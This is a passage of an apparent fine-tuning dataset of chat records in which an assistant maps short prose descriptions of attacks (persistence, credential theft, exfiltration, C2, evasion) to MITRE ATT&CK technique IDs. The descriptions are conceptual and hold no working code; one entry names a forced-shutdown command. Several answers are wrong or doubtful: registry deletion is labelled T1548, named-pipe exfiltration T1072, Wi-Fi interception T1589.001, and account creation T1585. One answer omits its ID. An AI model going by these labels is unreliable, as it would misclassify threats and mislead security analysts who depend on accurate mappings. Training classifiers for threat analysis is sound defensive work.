                "content": "A malicious kernel module is inserted into the init scripts, ensuring it is executed each time the system boots."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In environments where outbound traffic is heavily inspected, the exploit leverages a fallback channel using legitimate SaaS API calls to exfiltrate data unnoticed."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system runs a Visual Basic script that harvests credentials from the Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team alters syslog configurations on Linux servers so that files indicating unauthorized access are never recorded."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team creates a fake Domain Controller to manipulate Group Policy and push malicious scripts."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain valid SSH keys from an insider and employ them to establish unauthorized sessions on Linux servers."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious hyperlink in a Microsoft Teams chat caused the victim's machine to run a fileless malware payload after being clicked."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent threat drops a signed LSASS driver that is set to run during system initialization for credential theft."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors gain access to a popular gaming forum and plant a hidden iframe that silently downloads and executes a backdoor on any client that loads the page."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During credential dumping, the threat actor leveraged regsvr32 to load a malicious COM object from a hidden folder, enabling persistence via a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is configured to use a commercial proxy rotation service to anonymize its beaconing to the command server."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a file transfer tool that enforces a maximum of 100 MB per session, so the exfiltrated data is broken into smaller archives."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs a DNS TXT record to retrieve base64‑encoded commands from a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gathers employee contact information by scanning public profiles on professional networking sites for email addresses."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a Golden Ticket attack by forging a Kerberos ticket using the KRBTGT account hash."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor generates a sustained stream of fragmented TCP packets, causing the target's reassembly buffers to overflow and resulting in a DoS condition."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the operation, the attacker established a secure FTPS channel to exfiltrate database dumps."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant creates a DNS-over-HTTPS request to embed data within encrypted DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the user's mailbox settings to create a rule that forwards every new email to the attacker’s remote server."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a credential‑harvesting phishing email that asks victims to confirm their identity by entering security question answers on a fake website."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a domain that mimics a trusted service and uses it to deliver malware updates."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers gain initial foothold by authenticating with the factory‑default credentials of a database server."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access, the threat actor transferred a credential dumping tool to a neighboring workstation using Windows file sharing."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary configures its command-and-control server to listen on port 53, a DNS port, to hide traffic."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers add a privileged service account in Azure AD and grant it Global Administrator rights for long‑term control."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker programmatically creates an email forwarding rule in Outlook that routes messages to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor examines the \\SystemRoot\\System32\\drivers folder for driver files to identify potential targets."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates logs by writing them to a named pipe that is read by a remote collector over the network."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor tampers with a commonly used configuration file, inserting malicious commands that are executed by multiple services reading the file."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploited a misconfigured Dropbox shared folder to pull confidential project files without authorization."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects a custom dynamic-link library into the rundll32.exe process to hijack its execution flow."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group collects network diagrams inadvertently published in a VPN configuration file."
            },
            {
                "role": "assistant",
                "content": "Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the Windows Registry for the \"ProductName\" and \"CurrentVersion\" values to identify the operating system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan sends periodic ICMP echo requests that contain encrypted command strings in the payload."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging the delegate permission feature, the attacker silently adds a malicious account to receive copies of all incoming emails."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware deploys scripts that generate new Windows user accounts with never‑expire passwords to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply‑chain attack delivers a modified UEFI firmware image that contains a backdoor executed before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system runs a custom backdoor that mimics VNC server functionality, allowing attackers to view and control the desktop."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary copies a malicious DLL to the system's password filter directory and uses a scheduled task to overwrite the legitimate PasswordFilter.dll, thereby harvesting user passwords on login attempts."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware deployed by the group establishes an asymmetric encrypted channel over HTTP/2 to send data to an external server, bypassing typical network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use WMI to execute commands remotely on compromised Windows hosts."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary delays execution of malicious code until the target machine's clock reaches a predetermined timestamp."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use the LogonUserExExW call to generate a token that grants them domain admin rights, which they then use to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes a .service file to /lib/systemd/system and starts it for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the PATH variable in a service's environment to point to a directory they control, leading the service to load compromised utilities."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects code that forces the application to reuse a static encryption key derived from a short password, effectively shrinking the key space."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses the Windows 'shutdown.exe' utility with /s /t 0 flags to force an immediate system shutdown."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script deletes system registry keys, preventing Windows from booting properly."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set harvests bash command logs to uncover plain‑text passwords typed during software installations."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised public Wi‑Fi hotspots, creating a botnet to intercept user credentials."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan deploys a virtual keyboard driver that captures on-screen touch inputs on a compromised Android device."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor used a compromised network management system to pull configuration backups from multiple switches via API calls."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious scripts employ a proxy server to relay command and control traffic, bypassing network filtering."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses a custom backdoor to move harvested data to a remote MySQL server for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use the \"AppLocker\" bypass technique by creating a scheduled task that runs a trusted binary with malicious arguments."
            },
            {
                "role": "assistant",
                "content": "T1218 - System Binary Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat actor uses an infostealer to extract sensitive data from compromised systems, including credentials, credit card numbers, and personal identifiable information."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder modifies Group Policy to add a startup script that exfiltrates system information to an external server on boot."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Modify the browser's extension system to inject malicious scripts into web pages"
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes exfiltrated data into the body of a HTTP request targeting a custom exfiltration webhook hosted on AWS API Gateway."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor extracts credentials by reading the Vault registry keys associated with the Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates WMI event subscriptions that trigger the execution of a malicious payload whenever a specific system event occurs."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary launches a concealed GUI window that is not displayed in the taskbar, allowing malicious code to execute stealthily."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs VDSO hijacking to embed a payload inside the address space of a legitimate daemon."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages reflective code loading to deserialize a malicious .NET assembly directly in RAM without disk writes."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a man‑in‑the‑middle attack on unsecured Wi‑Fi to intercept authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors rename a newly created process to match the name of a known Windows service and launch it under that service's hierarchy."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker edited the domain's trust attributes to reduce the authentication requirements for an external malicious domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses Google Drive as a cloud storage service to upload stolen data for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging STUN/TURN protocols, the attacker circumvents the NAT gateway to maintain a persistent command channel inside the victim’s network."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan changes the registry to set the SAFEBOOT option, causing the system to boot with minimal drivers."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses `kubectl exec` to drop a web shell into a pod’s filesystem and execute it."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial foothold, the perpetrator installs a PowerShell-based web shell to remotely execute scripts on the compromised web application."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs a deterministic algorithm that calculates domain names based on a seed value, then performs DNS queries to find the C2 address."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a malicious JPEG that exploits a buffer overflow in the image viewer, causing arbitrary code execution when the victim opens the picture."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware checks for the presence of virtualization drivers by querying the registry keys associated with VMware Tools."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is injected via the proxy execution feature of a standard developer environment tool."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
